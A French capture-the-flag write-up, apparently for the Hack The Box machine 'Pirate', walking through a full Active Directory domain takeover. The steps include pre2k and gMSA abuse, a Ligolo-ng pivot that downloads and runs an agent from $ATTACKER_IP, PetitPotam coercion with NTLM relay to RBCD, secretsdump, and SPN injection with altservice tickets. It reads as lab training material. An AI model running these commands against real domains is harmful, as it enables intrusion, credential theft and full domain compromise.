1. Reconnaissance
Le scan révèle un contrôleur de domaine classique : DNS, Kerberos, LDAP, SMB, WinRM. Le certificat SSL confirme DC01.pirate.htb. SMB signing est activé, pas de relay SMB direct possible, il faudra cibler LDAPS. Je note aussi que la machine est joignable directement sur 10.129.51.233 et qu'un réseau interne 192.168.100.0/24 est accessible depuis le DC.
Commande
nmap -Pn -sV -p 53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985 10.129.51.233Résultat
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: pirate.htb)
445/tcp open microsoft-ds?
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)Énumération RID avec les credentials de départ pour cartographier les comptes du domaine.
Commande
nxc smb 10.129.51.233 -u pentest -p 'p3nt3st2025!&' --rid-brute 2>/dev/null | grep SidTypeUserRésultat
SMB DC01 500: PIRATEAdministrator (SidTypeUser)
SMB DC01 502: PIRATEkrbtgt (SidTypeUser)
SMB DC01 1103: PIRATEMS01$ (SidTypeUser)
SMB DC01 1104: PIRATEa.white (SidTypeUser)
SMB DC01 1106: PIRATEa.white_adm (SidTypeUser)Je repère deux comptes gMSA inaccessibles avec pentest, et surtout le compte machine MS01$, j'y reviendrai.
Commande
nxc ldap 10.129.51.233 -u pentest -p 'p3nt3st2025!&' --gmsaRésultat
LDAP DC01 [*] Getting GMSA Passwords
LDAP DC01 Account: gMSA_ADCS_prod$ NTLM: <no read permissions> PrincipalsAllowedToReadPassword: Domain Secure Servers
LDAP DC01 Account: gMSA_ADFS_prod$ NTLM: <no read permissions> PrincipalsAllowedToReadPassword: Domain Secure Servers2. Pre2k : MS01$ avec son propre nom comme mot de passe
Avant Windows 2000, les machines jointes au domaine recevaient automatiquement leur hostname en minuscules comme mot de passe de compte machine. Ce comportement legacy persiste si personne n'a jamais forcé la rotation. L'outil pre2k teste ça automatiquement sur tous les comptes machines du domaine.
Commande
nxc ldap pirate.htb -u 'pentest' -p 'p3nt3st2025!&' -M pre2kRésultat
LDAP DC01 [+] pirate.htbpentest:p3nt3st2025!&
PRE2K DC01 Pre-created computer account: MS01$
PRE2K DC01 Pre-created computer account: EXCH01$
PRE2K DC01 [+] Found 2 pre-created computer accounts.
PRE2K DC01 [+] Successfully obtained TGT for ms01@pirate.htb
PRE2K DC01 [+] Successfully obtained TGT for exch01@pirate.htbMS01$ a toujours ms01 comme mot de passe. C'est un compte machine valide avec lequel je peux m'authentifier sur le domaine, et donc lire les hashes gMSA.
3. Extraction des hashes gMSA
Les Group Managed Service Accounts ont leurs mots de passe gérés automatiquement par l'AD. Mais l'ACL PrincipalsAllowedToReadPassword contrôle qui peut lire ces hashes : ici c'est le groupe Domain Secure Servers, dont MS01$ est membre. J'utilise son TGT Kerberos pour interroger LDAP avec les bons droits.
Commande
getTGT.py pirate.htb/'MS01$:ms01' -dc-ip 10.129.51.233
KRB5CCNAME=MS01$.ccache nxc ldap 10.129.51.233 --use-kcache --gmsaRésultat
LDAP DC01 [+] PIRATE.HTBMS01$ from ccache
LDAP DC01 [*] Getting GMSA Passwords
LDAP DC01 Account: gMSA_ADCS_prod$ NTLM: 2b8849da91d5206b9d1d1dcb44467089 PrincipalsAllowedToReadPassword: Domain Secure Servers
LDAP DC01 Account: gMSA_ADFS_prod$ NTLM: 76754c94319e3a7dc07ba09aa79028ee PrincipalsAllowedToReadPassword: Domain Secure ServersJe vérifie lequel des deux comptes donne accès à DC01 via WinRM.
Commande
nxc winrm 10.129.51.233 -u 'gMSA_ADCS_prod$' -H '2b8849da91d5206b9d1d1dcb44467089'Résultat
WINRM DC01 [+] pirate.htbgMSA_ADCS_prod$:2b8849da91d5206b9d1d1dcb44467089 (Pwn3d!)4. Foothold DC01 + pivot Ligolo-ng vers 192.168.100.0/24
DC01 a une deuxième interface sur le réseau interne 192.168.100.0/24 où se trouve WEB01 (192.168.100.2). Je déploie Ligolo-ng v0.8.3 : un agent Windows sur DC01 qui crée un tunnel L3 transparent vers mon proxy. Une fois la route injectée, WEB01 est accessible directement comme si j'étais sur le même segment.
Setup interface TUN (sudo)
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 192.168.100.0/24 dev ligoloDémarrage proxy Ligolo-ng
/tools/ligolo-ng/proxy -selfcert -laddr 0.0.0.0:11601 -daemonDC01 via WinRM : téléchargement et démarrage agent
# Upload
Invoke-WebRequest "http://$ATTACKER_IP:8000/agent.exe" -OutFile "C:WindowsTempligolo-agent.exe" -UseBasicParsing
# Connexion au proxy
Start-Process -NoNewWindow "C:WindowsTempligolo-agent.exe" "-connect $ATTACKER_IP:11601 -ignore-cert -retry"Résultat
[INFO] Agent joined. id=00155d0bd000 name="PIRATE\gMSA_ADCS_prod$@DC01"
[INFO] Starting autobind session: 00155d0bd000 on interface ligolo
[INFO] Starting tunnel to PIRATE\gMSA_ADCS_prod$@DC01Test connectivité WEB01
ping -c 2 192.168.100.2Résultat
64 bytes from 192.168.100.2: icmp_seq=1 ttl=64 time=90 ms
64 bytes from 192.168.100.2: icmp_seq=2 ttl=64 time=100 msWEB01 est joignable. Je confirme que gMSA_ADFS_prod$ a accès WinRM dessus.
Commande
nxc winrm 192.168.100.2 -u 'gMSA_ADFS_prod$' -H '76754c94319e3a7dc07ba09aa79028ee'Résultat
WINRM WEB01 [+] pirate.htbgMSA_ADFS_prod$:76754c94319e3a7dc07ba09aa79028ee (Pwn3d!)5. RBCD via NTLM relay : MS01$ délégué sur WEB01$
Le plan : forcer WEB01 à s'authentifier vers ma machine via PetitPotam (MS-EFSRPC), relayer cette auth vers LDAPS sur DC01, et écrire l'attributmsDS-AllowedToActOnBehalfOfOtherIdentity sur WEB01$ pour y inscrire MS01$. Comme SMB signing est activé sur DC01, je cible LDAPS et non SMB. Le flag --remove-mic est nécessaire car WEB01 demande la signature NTLM.
ntlmrelayx (sudo, port 445)
sudo ntlmrelayx.py -t ldaps://10.129.51.233 \
--delegate-access --escalate-user 'MS01$' \
-smb2support --remove-micRésultat
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Servers started, waiting for connectionsPetitPotam : coercion vers notre IP
python3 PetitPotam.py \
-u 'gMSA_ADCS_prod$' -hashes ':2b8849da91d5206b9d1d1dcb44467089' \
-d pirate.htb \
$ATTACKER_IP 192.168.100.2Résultat
[+] Connected!
[+] Successfully bound!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!Résultat
[*] Authenticating against ldaps://10.129.51.233 as PIRATE/WEB01$ SUCCEED
[*] Delegation rights modified successfully!
[*] MS01$ can now impersonate users on WEB01$ via S4U2ProxyVérification LDAP
bloodyAD -u pentest -p 'p3nt3st2025!&' -d pirate.htb --host 10.129.51.233 \
get object "WEB01$" --attr msDS-AllowedToActOnBehalfOfOtherIdentityRésultat
msDS-AllowedToActOnBehalfOfOtherIdentity: O:S-1-5-32-544D:(A;;0xf01ff;;;S-1-5-21-...-4102)
# SID → MS01$6. S4U2Proxy : ticket Administrator pour WEB01
Grâce au RBCD, MS01$ peut demander un service ticket au nom de n'importe qui sur WEB01. J'enchaîne S4U2Self (MS01$ obtient un ticket pour lui-même en tant qu'Administrator) puis S4U2Proxy (MS01$ présente ce ticket pour demander cifs/WEB01.pirate.htb en tant qu'Administrator). Le résultat est un ccache que je passe directement à secretsdump.
Commande
getTGT.py pirate.htb/'MS01$:ms01' -dc-ip 10.129.51.233
KRB5CCNAME=MS01$.ccache getST.py pirate.htb/'MS01$' \
-spn 'cifs/WEB01.pirate.htb' \
-impersonate Administrator \
-dc-ip 10.129.51.233 -k -no-passRésultat
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache7. secretsdump WEB01 : LSA DefaultPassword + user.txt
J'utilise le ticket pour dumper WEB01 via le Remote Registry. La vraie trouvaille est dans les LSA Secrets : une entrée DefaultPassword laissée par une configuration d'autologon : le mot de passe de a.white en clair.
Commande
export KRB5CCNAME=Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache
secretsdump.py -k -no-pass -target-ip 192.168.100.2 WEB01.pirate.htbRésultat
[*] Target system bootKey: 0x342dfe90cc4061078b79f011cd08f931
[*] Dumping local SAM hashes
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b1aac1584c2ea8ed0a9429684e4fc3e5:::
[*] Dumping LSA Secrets
[*] DefaultPassword
PIRATEa.white:E2nvAOKSz5Xz2MJuLecture user.txt
nxc smb 192.168.100.2 -k --use-kcache -x 'type C:\Users\a.white\Desktop\user.txt'Résultat
REDACTED8. ForceChangePassword : a.white vers a.white_adm
BloodHound révèle que a.white a le droit ForceChangePassword sur a.white_adm. Ce compte admin dispose lui d'une délégation contrainte avec transition de protocole vers HTTP/WEB01, notre prochain levier. Je change son mot de passe directement via LDAP sans connaître l'ancien.
Commande
bloodyAD -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' -d pirate.htb --host 10.129.51.233 \
set password 'a.white_adm' 'Password123!'Résultat
[+] Password changed successfully!Vérification de la délégation
findDelegation.py pirate.htb/'a.white_adm:Password123!' -dc-ip 10.129.51.233Résultat
AccountName AccountType DelegationType DelegationRightsTo
a.white_adm Person Constrained w/ Protocol Transition http/WEB01.pirate.htb
a.white_adm Person Constrained w/ Protocol Transition HTTP/WEB019. SPN Injection : déplacer HTTP/WEB01 de WEB01$ vers DC01$
Voilà la partie subtile. Quand a.white_adm fait S4U2Proxy pour HTTP/WEB01.pirate.htb, le KDC chiffre le service ticket avec la clé du compte qui possède ce SPN. Si le SPN est sur WEB01$, le ticket est chiffré avec sa clé, inutilisable sur DC01. Si je déplace le SPN vers DC01$, le ticket est chiffré avec la clé de DC01$, et le flag -altservice CIFS/DC01 peut réécrire le nom de service sans invalider le chiffrement.
a.white_adm a le droit WriteSPN sur DC01$ (via le groupe IT). Je commence par vider les SPNs de WEB01$ pour lever la contrainte d'unicité forest-wide, puis j'injecte sur DC01$.
État initial de WEB01$
bloodyAD -u 'a.white_adm' -p 'Password123!' -d pirate.htb --host 10.129.51.233 \
get object "WEB01$" --attr servicePrincipalNameRésultat
servicePrincipalName: tapinego/WEB01; WSMAN/WEB01; HOST/WEB01; TERMSRV/WEB01; HTTP/WEB01; HTTP/WEB01.pirate.htb; ...Suppression de tous les SPNs sur WEB01$
bloodyAD -u 'a.white_adm' -p 'Password123!' -d pirate.htb --host 10.129.51.233 \
set object 'WEB01$' servicePrincipalNameRésultat
[+] WEB01$'s servicePrincipalName has been updatedInjection de HTTP/WEB01 sur DC01$
bloodyAD -u 'a.white_adm' -p 'Password123!' -d pirate.htb --host 10.129.51.233 \
set object 'DC01$' servicePrincipalName \
-v 'HTTP/WEB01' -v 'HTTP/WEB01.pirate.htb'Résultat
[+] DC01$'s servicePrincipalName has been updatedVérification
bloodyAD -u 'a.white_adm' -p 'Password123!' -d pirate.htb --host 10.129.51.233 \
get object "DC01$" --attr servicePrincipalName | grep HTTPRésultat
servicePrincipalName: HTTP/WEB01.pirate.htb; HTTP/WEB0110. S4U2Proxy + altservice : ticket Administrator CIFS/DC01
Je refais le S4U2Proxy depuis a.white_adm pour HTTP/WEB01.pirate.htb. Cette fois le KDC chiffre avec la clé de DC01$ (qui possède maintenant ce SPN). Impacket réécrit ensuite le sname du ticket de HTTP/WEB01 vers CIFS/DC01.pirate.htb : le chiffrement reste valide car les deux SPNs appartiennent au même compte machine.
Commande
getST.py \
-spn 'HTTP/WEB01.pirate.htb' \
-impersonate 'Administrator' \
'pirate.htb/a.white_adm:Password123!' \
-dc-ip 10.129.51.233 \
-altservice 'CIFS/DC01.pirate.htb'Résultat
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Changing service from HTTP/WEB01.pirate.htb@PIRATE.HTB to CIFS/DC01.pirate.htb@PIRATE.HTB
[*] Saving ticket in Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache11. root.txt
Le ticket CIFS/DC01 au nom d'Administrator est présenté à DC01. SMB signing est géré nativement par Kerberos, pas de friction. Je suis Domain Admin.
Commande
export KRB5CCNAME=Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache
nxc smb DC01.pirate.htb --use-kcache -x 'type C:\Users\Administrator\Desktop\root.txt'Résultat
REDACTEDRécap
- Pre2k : MS01$ a toujours son hostname comme mot de passe → accès machine account
- gMSA : MS01$ membre de Domain Secure Servers → lecture des hashes gMSA_ADCS_prod$ et gMSA_ADFS_prod$
- WinRM DC01 : gMSA_ADCS_prod$ est admin local → foothold + déploiement Ligolo-ng
- Ligolo-ng : tunnel L3 transparent → 192.168.100.2 (WEB01) directement joignable
- RBCD : PetitPotam coerce WEB01$ → ntlmrelayx relay vers LDAPS → MS01$ inscrit dans msDS-AllowedToActOnBehalfOfOtherIdentity de WEB01$
- S4U2Proxy : MS01$ impersonate Administrator sur WEB01 (CIFS) → secretsdump → LSA DefaultPassword → a.white:E2nvAOKSz5Xz2MJu + user.txt
- ForceChangePassword : a.white change le mot de passe de a.white_adm (délégation contrainte avec Protocol Transition sur HTTP/WEB01)
- SPN Injection : HTTP/WEB01 déplacé de WEB01$ vers DC01$ (WriteSPN via groupe IT)
- altservice : S4U2Proxy HTTP/WEB01 (chiffré avec clé DC01$) réécrit en CIFS/DC01 → ticket Administrator valide sur DC01
- root.txt via nxc smb avec le ticket Kerberos